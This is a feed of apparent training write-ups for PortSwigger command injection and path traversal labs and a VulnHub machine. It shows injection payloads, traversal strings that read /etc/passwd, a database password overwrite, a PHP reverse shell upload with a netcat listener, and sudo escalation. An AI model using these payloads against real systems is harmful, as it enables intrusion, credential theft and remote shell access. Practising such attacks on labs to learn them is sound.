src="https://cdn-images-1.medium.com/max/1024/1*ilXmQ1Aa3LD0Y2HsACt4xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*flOLV3YWgWv2eL3O4KY5eA.png" /></figure><p>Then change the value of productId to &amp; whoami &amp; then url encode this string using ctrl + U</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lz4nHTnqIZ_6bPl_BGZb5w.png" /></figure><p>Then send this request which gives us, output of whoami command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2anvKu-mXpdfBp3VJlagA.png" /></figure><p>Lab 1 done ✅</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Lab 2 : Blind <a href="https://portswigger.net/web-security/os-command-injection">OS command injection</a> with time delays</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*sgAWyKhSdbAwLk45edYaKg.png" /></figure><blockquote>Aim: cause 10sec delay.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvt6LhTp2Fjt3n2wG-02ZQ.png" /></figure><p>Click on Submit Feedback</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*wYXF6Z_4xo2pfrdcRtzZDQ.png" /></figure><p>Enter random data and intercept the request using burpsuit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ACBTeWlwlcobLomNHHxOxw.png" /></figure><p>select /feedback/submit request and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*laZ0xq8gOxv9jCIVN6PHng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oudOSWwxnbPXb4m8uvDWeg.png" /></figure><p>When we send this request we get response in 439mills</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*_WzBUbziW3xu8XO85SsOdg.png" /></figure><p>Then change the value of email parameter to &amp; ping -c 10 127.0.0.1 &amp; <br>this will send 10 ICMP echo request packets to the loopback address 127.0.0.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEkHIKOlli10193iYBRpmA.png" /></figure><p>Then select this payload and Ctrl + U to url encode and send the request.<br>Now we get response in 9640 millis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2dA7TlVss72KCx2X0JI9w.png" /></figure><p>Which completes the lab.</p><p>Lab 2 done ✅</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h4>Lab 3 : Blind <a href="https://portswigger.net/web-security/os-command-injection">OS command injection</a> with output redirection</h4><p>Link to lab: <a href="https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection">https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*32MGYHEqPe6d0Q-Eeuqv5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTva_8CfrvvSVyS3O9EEpA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdoQ51EjEwwkxKjX3kVhTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UubOA8UzF8_C8B3q8Qgyfw.png" /></figure><p>Same as before send the reques to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*T4Zfu0sq5flHTFjuLZe6eQ.png" /></figure><p>Then time change the value of email to &amp; whoami &gt; /var/www/images/output.txt &amp; <br>This will output the value of whoami command into output.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzqkhz1xDeRsoM6QSsi_kA.png" /></figure><p>Select and url encode the payload and send the request.</p><p>Now we need to open the output.txt file which holds the result of whoami command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*W1WMc_BLKDVRuM4K64oylg.png" /></figure><p>Open any of the post form the lab.<br>Right click on the image and click on open image in new tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8czV2_5SjaesDNv5of-SaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOx1XvORfwUQEmYE9MPeNQ.png" /></figure><p>Then change the value to output.txt which will display the output of whoami command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EipjTslE-ZSQ35kP3H4n2A.png" /></figure><p>Lab 3 done ✅</p><h3>Lab 4 and 5 needs premium version of burpsuite.</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>For any correction / query /suggestion contact on<br><strong><em>Instagram </em></strong><a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong><em>Twitter </em>(X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong><em>Youtube </em></strong><a href="https://youtube.com/dollarboysushil">dollarboysushil</a><br><strong><em>Linkedin </em></strong><a href="https://www.linkedin.com/in/dollarboysushil/">dollarboysushil</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e836421212cf" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/portswigger-command-injection-all-labs-walkthrough-bug-bounty-prep-by-dollarboysushil-e836421212cf">Portswigger — Command Injection All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Portswigger — Path Traversal All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/portswigger-path-traversal-all-labs-walkthrough-bug-bounty-prep-by-dollarboysushil-85ab64d6106a?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/85ab64d6106a</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Wed, 14 Feb 2024 09:39:07 GMT</pubDate>
            <atom:updated>2024-02-18T08:32:01.761Z</atom:updated>
            <content:encoded><![CDATA[<h3>Portswigger — Path Traversal All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7sejJhu9TKIBrRmAkdNPYQ.png" /></figure><p>Link to portswigger academy: <a href="https://portswigger.net/web-security/file-path-traversal">https://portswigger.net/web-security/file-path-traversal</a></p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong>Instagram </strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Twitter <em>(X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Youtube </strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Linkedin </strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a></blockquote><h3>What is path traversal?</h3><p>Path traversal or directory traversal is a vulnerability which allows an attacker to read arbitrary files on the server which they should not have access.</p><h3>Reading arbitrary files via path traversal</h3><p>Lets look at an example to understand how path traversal attack occurs</p><pre>https://insecure-website.com/loadImage?filename=64.png</pre><p>In the above URL filename parameter is used to load the image file, 64.image in this case. If there is not any proper validation or sanitization to the entered input then attacker can easy manipulate the filename parameter to access the files outside the intended directory.</p><pre>https://insecure-website.com/loadImage?filename=secret.txt</pre><p>As an example, an attacker can change the filename parameter to something like secret.txt to access different important file present in the server.</p><p>However an attacker does not know the name or contents of files present in the server, so an attacker can look for default files present in server , like passwd file present inside etc directory in linux os. and boot.ini file present in windows os.</p><p>With this basic knowledge lets solve the labs to get more hands on knowledge.</p><h4>Lab 1 : File path traversal, simple case</h4><p>Link to lab1: <a href="https://portswigger.net/web-security/file-path-traversal/lab-simple">https://portswigger.net/web-security/file-path-traversal/lab-simple</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*29CNFCg-PEr2Vf6S97GjKQ.png" /></figure><p>Aim: Read content of /etc/passwd</p><p>Click Access the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-z93bKWS0dt25_tqZDYqMg.png" /></figure><p>Website will launch on new tab where we will practice.</p><p>Then run burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6WIlDlhMnh2GltMjkOisA.png" /></figure><p>In burpsuite under HTTP history , click on filter and select images and css</p><p>Then reload the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDGbN_8AT7l5i2k3aCtBTw.png" /></figure><p>In the HTTP history, we can see filename parameter is loading various images, we will use one of these request , change the parameter and send the changed request to server.</p><p>Select any one of the request, right click and send it to repeater <br>(or CTRL + R)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*Sw634RrXvCBKvuGfnJeHyg.png" /></figure><p>Our aim is to read the content of /etc/passwd ,but we don’t know the current location of the files filename parameter is fetching from.<br>So we will use ../ which is used to move one directory up.</p><p>For example.<br>If we are currently in /var/www/images folder then command ../ will move us one directory up into /var/www/ and multiple ../ will move us multiple directory up.<br>../../../../../../../../../../../../ will move us to root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*AaUALx9dTvJbeRTVr1LgIA.png" /></figure><p>../../../../../etc/passwd will move to 5 directory up and then go to /etc/passwd . Thus loading the content of the passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FIuHOTdrW7k_pZHICNmnQ.png" /></figure><p>Lab 1 completed successfully.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Lab 2 : <a href="https://portswigger.net/web-security/file-path-traversal">File path traversal</a>, traversal sequences blocked with absolute path bypass</h3><p>link to lab2: <a href="https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass">https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*MwtZtK42Mg8TgTlvVKTANw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RrukPTJ5VsKtF57U7UjB1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fVMFkWtlDA7UzCvuu0abtQ.png" /></figure><p>Same as before intercept the request and send it to repeater.<br>For this lab traversal sequences is blocked but we can bypass this by providing absolute path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*hR3WcXJVbjw2E8qk.png" /><figcaption>Image explaining absolute path vs relative path.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHHAbxIZMAX7RymRnZkBzg.png" /></figure><p>By providing absolute path /etc/passwd we can successfully complet the lab.</p><h3>Lab 3 : <a href="https://portswigger.net/web-security/file-path-traversal">File path traversal</a>, traversal sequences stripped non-recursively</h3><p>link to lab: <a href="https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively">https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*ff_npV40zAVBEQ4Jmuwfzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4h0gIUiLIAYx-bQcC8wXng.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0GzQUs1x87cGUFzA3FxTGQ.png" /></figure><p>Same as before, send the interesting request to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5EFjFkXnySAwpZPLI9rJw.png" /></figure><p>In this lab , there is some kind of filter/ sanitization which is stripping or removing the traversal sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*cTW6gO5jzjA1uI4icJYGUA.png" /><figcaption>stripping traversal sequence ../</figcaption></figure><p>We can bypass this stripping easily by:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*R6kLc-psHFfsrQAFIWH3Uw.png" /></figure><p>by adding extra ../ in between the payload we can bypass this filter.<br>Note this will not work in recursive stripping process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WxC2rDPKPyo_oB8q7jMug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QFuXuTJRhQz4Qyv8Y-hyJw.png" /></figure><h3>Lab 4 : <a href="https://portswigger.net/web-security/file-path-traversal">File path traversal</a>, traversal sequences stripped with superfluous URL-decode</h3><p>link to lab 4: <a href="https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode">https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*Ft2_dgp-V_Tf35SSzy9EoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*aoVbC1qhrBi2ACBY3VtgJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*45i4Lstc0mzQbaZ44TEYdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*WTsg9dZz2_Grt-4L8h9t4g.png" /></figure><p>Previous method not working.<br>We can come around this time by url encoding the payload .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*QOqE9seb53yc_n-g_RmWFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*WNJpi1F1gAXUEYGefvT6bA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBBp-e9K4TGOYUHxBdWcLg.png" /></figure><p>By double url encoding ../../../../../../etc/passwd we can complete the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9lyCvV1ItGqpNERtKpCDGQ.png" /></figure><h3>Lab 5 : <a href="https://portswigger.net/web-security/file-path-traversal">File path traversal</a>, validation of start of path</h3><p>link to lab5: <a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path">https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*nMI136jSWDHM_V_-of2hnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*lkuoEmDRpiPN_c7RzT72kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nD7lAHHpTU2JP5661j3EJg.png" /></figure><p>An application may require the user-supplied filename to start with the expected base folder, such as /var/www/images. In this case, it might be possible to include the required base folder followed by suitable traversal sequences. For example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYf0MCf_NwqwDvf5D7DwEg.png" /></figure><h3>Lab 6 : <a href="https://portswigger.net/web-security/file-path-traversal">File path traversal</a>, validation of file extension with null byte bypass</h3><p>link to lab: <a href="https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass">https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*oFOOB6GXAryVWBlQURlqTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*ly6k1ASXGpKTCKp-PyP1gA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rEokqLjuYc_6Zco52Ssw4g.png" /></figure><p>An application may require the user-supplied filename to end with an expected file extension, such as .png. In this case, it might be possible to use a null byte to effectively terminate the file path before the required extension. For example:</p><p>filename=../../../etc/passwd%00.png <br>everything after null byte %00 is ignored while fetching the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vXQtouj3Fei8XFDxIfYX7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qtHMBwxsyq4AKEJ9G1k4SA.png" /></figure><p>Which completes the lab.</p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong>Instagram </strong><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Twitter <em>(X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Youtube </strong><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong>Linkedin </strong><a href="https://www.linkedin.com/in/dollarboysushil/"><em>dollarboysushil</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85ab64d6106a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/portswigger-path-traversal-all-labs-walkthrough-bug-bounty-prep-by-dollarboysushil-85ab64d6106a">Portswigger — Path Traversal All Labs Walkthrough(Bug Bounty Prep)[by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Hack Me Please 1 Walkthrough (OSCP PREP) [by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/vulnhub-hack-me-please-1-walkthrough-oscp-prep-by-dollarboysushil-1f1366bba080?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f1366bba080</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hack-me-please]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Tue, 16 Jan 2024 07:58:40 GMT</pubDate>
            <atom:updated>2024-01-17T14:49:40.373Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AW71fXfqsSpMCxLqrJeMEQ.png" /></figure><p>Link to vulnhub: <a href="https://www.vulnhub.com/entry/hack-me-please-1,731/">https://www.vulnhub.com/entry/hack-me-please-1,731/</a></p><h4>Difficulty:</h4><p>Easy — ( Privilege Escalation Too Easy🥲)</p><h4>Goal:</h4><p>Get Root Shell.</p><blockquote>Victim IP: 192.168.1.152<br>Attacker IP (Kali Linux): 192.168.1.150</blockquote><blockquote>For any correction / query /suggestion contact on<br><strong>Instagram</strong> <a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong>Twitter (X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong>Youtube</strong> <a href="https://youtube.com/dollarboysushil">dollarboysushil</a></blockquote><h3>Reconnaissance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*gBy8DgB4qTusUvGHazuK1w.png" /></figure><p>You can find Ip of victim using tool like netdiscover</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*iYMJMTzF2w5nCPJU11Z_nA.png" /></figure><p>First run nmap -p- 192.168.1.152 list all the open port available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*-LGWbVE1BzCUsWRXqyul9w.png" /></figure><p>Then run -sC default script and -sV version enumeration on the open ports we found earlier.</p><p>Looking at the output, we can see<br>port 80 http<br>port 3306 mysql<br>port 33060 mysqlx</p><h3>Enumeration #1 HTTP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPrmzykFJ89NtWEdUZIhbQ.png" /></figure><p>Visiting the port 80 we can see a simple website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*BL-8GYkb6N9NkcohBy62Kw.png" /></figure><p>Running gobuster for directory bruteforcing does not give us much info to work on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CsohEizojZbLDyrAWKt9Yg.png" /></figure><p>Viewing the page source, we can see some javascript files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JmRbkMz9JhD7NVjzsA6THQ.png" /></figure><p>Opening the main.js we can see directory /seeddms51x/seeddms-5.1.22/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xfBwknwEEnLvbna1ebTn4A.png" /></figure><p>Visiting the directory, we can see SeedDMS login panel.</p><p>In the login page I tried to enter default credentials like admin:admin <br>admin:password and so on, but none of which are working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_VvHgFFHj_vqTSgstCl-zA.png" /></figure><p>When searching for SeedDMS on google we can found Remote Command Execution, for which we need to be authenticated.</p><p>I was blank here, no where to go, nothing to do.<br>Then after couple of google search, I came across a github repo</p><p><a href="https://github.com/JustLikeIcarus/SeedDMS">GitHub - JustLikeIcarus/SeedDMS</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdlCRxHKfEGuDAlPSBsWzw.png" /></figure><p>conf folder caught my eye. There exist a configuration file (setting) which usually contains credentials or other important information.</p><p>From this github repo, we can get simple idea of locations of files and folders in SeedDMS.</p><p>In the repo we can see <a href="https://github.com/JustLikeIcarus/SeedDMS/blob/master/conf/settings.xml.template">settings.xml.template</a> file under /conf folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KkTos7lp9-LGdSU9UtxZaQ.png" /></figure><p>Just like that, we can open settings.xml.template in victim machine.<br>settings.xml.template is a copy of setting file, the main setting file is named as settings.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGOoqm4e71qkn_36KWglTQ.png" /></figure><p>And Jackpot, we can access the settings.xml .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wikLVDJUgVrH_Lkgd_WEag.png" /></figure><p>looking into the settings.xml file, we can see credentials for mysql <br>seeddms:seeddms</p><h3>Enumeration #2 Mysql</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*0GTu2gIb3rUv2BVQqSumOg.png" /></figure><p>Use command mysql -u seedms -p -h 192.168.1.152 to login to the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*6wjsRtXJdb4EnRnfTexmcQ.png" /></figure><p>Among the present databases, seeddms looks interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*K-fsDGFPCnIP4kiX6ccjOA.png" /></figure><p>Among the tables present in seeddms databases, tblUsers and users <br>looks interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*9hId-A5GsZncmmVjRAJuHQ.png" /></figure><p>Under users table, we get credentials for user saket.<br>saket:Saket@#$1337</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*2FB5Eh3KhMJ7EUs0KDbTtg.png" /></figure><p>With this credentials first thing I tried to do is login as user saket which sadly failed.</p><p>Lets look into another table;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dG5R1jYmpz7ODLOZykgGZg.png" /></figure><p>Under tblUsers we have credentials for user admin whose password is encrypted.</p><p>f9ef2c539bad8a6d2f3432b6d49ab51a</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*VxRLNbRfHh7eGZME4PLWJQ.png" /></figure><p>Hash is of type MD5 . I then tried to crack this hash using multiple online tools but none of them worked.</p><p>Instead of trying to crack the hash, we can MD5 encrypt our custom password and put this encrypted hash into the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*sgB0IQFb9BeZp0wj6shjfA.png" /></figure><p>Using online MD5 hash generator we can generate our self custom hash.</p><p>newpass123 =&gt; 8b8c039f78b8e5601b3c28ae5e85a370</p><p>Lets put this hash into the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*LW_PZKywNKVjvdh7iDqF8A.png" /></figure><p>Use query update tblUsers SET pwd = ‘new generated hash’; to update the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M25tVw_3bd05WeXxOLDapQ.png" /></figure><p>And we are successfully logged in as user admin password newpass123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTMJMul46tcQLlo4Ex9r2w.png" /></figure><p>Going back to the exploit we found, 1st step is done; we are successfully logged in.</p><p>Now lets upload a PHP Backdoor.<br>I will be using php reverse shell from pentestmonkey</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>Download php-reverse-shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*Vuo8Br1zY6yvNc09JBgbpA.png" /></figure><p>In the php file, change the $ip to your attacker machine’s and remember the $port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nxv_HKyU-6U5cTYCjKKP7w.png" /></figure><p>Under add document section upload the php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7v_ZLafUCjrb4Ti5uBTQbA.png" /></figure><p>Going back, we can see the uploaded file.<br>If you put mouse pointer above the file name, in the bottom left you can see the link to file location, from there remember the document id.</p><p>In my case document id = 4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*5QH9uyYlUP-6Q8xLIlZKiw.png" /></figure><p>Now make netcat listener ready using nc -lnvp 443 use same port you used in php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*sp11ZVO3bRw-wn8wigcUGA.png" /></figure><p>Now, to open the file, go to ip/data/1048576/&quot;document_id&quot;/1.php which should stuck the page the infinite loading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*XU5Q0wfjOQD06AGiZaYzJw.png" /></figure><p>If we look at the netcat listener, we can see we have shell as user www-data</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*KQj0-KZAWa8l1nLkV4yNuQ.png" /></figure><p>Under /home we have one directory saket , we dont have permission to open the directory. If you remember from before, we have credentials for user saket.</p><p>saket:Saket@#$1337</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*KQj0-KZAWa8l1nLkV4yNuQ.png" /></figure><p>We can switch user to saket using command su saket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*Z0PgHCWE7HcrHoBiD_gb2A.png" /></figure><p>Use command <br>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ to upgrade the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*RLKFDV_ruLNfLh8SjkqP8Q.png" /></figure><p>Use command sudo -l to list the allowed (or sometimes restricted) commands that a user can run with elevated privileges.</p><p>From the result, we can see user saket has full sudo privileges for any user, any group, on any host, and for any command.</p><p>Which means we can get root shell as easy as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/1*vaZLRoukULOAxan1WPjZ9w.png" /></figure><p>and successfully pawned the machine.</p><blockquote>For any correction / query /suggestion contact on<br><strong>Instagram</strong> <a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong>Twitter (X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong>Youtube</strong> <a href="https://youtube.com/dollarboysushil">dollarboysushil</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f1366bba080" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vulnhub-hack-me-please-1-walkthrough-oscp-prep-by-dollarboysushil-1f1366bba080">Vulnhub: Hack Me Please 1 Walkthrough (OSCP PREP) [by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Sunset: Solstice Walkthrough (OSCP PREP) [by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/vulnhub-sunset-solstice-walkthrough-oscp-prep-by-dollarboysushil-202d44c10743?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/202d44c10743</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[solstice]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 15:04:56 GMT</pubDate>
            <atom:updated>2024-01-17T14:49:39.181Z</atom:updated>
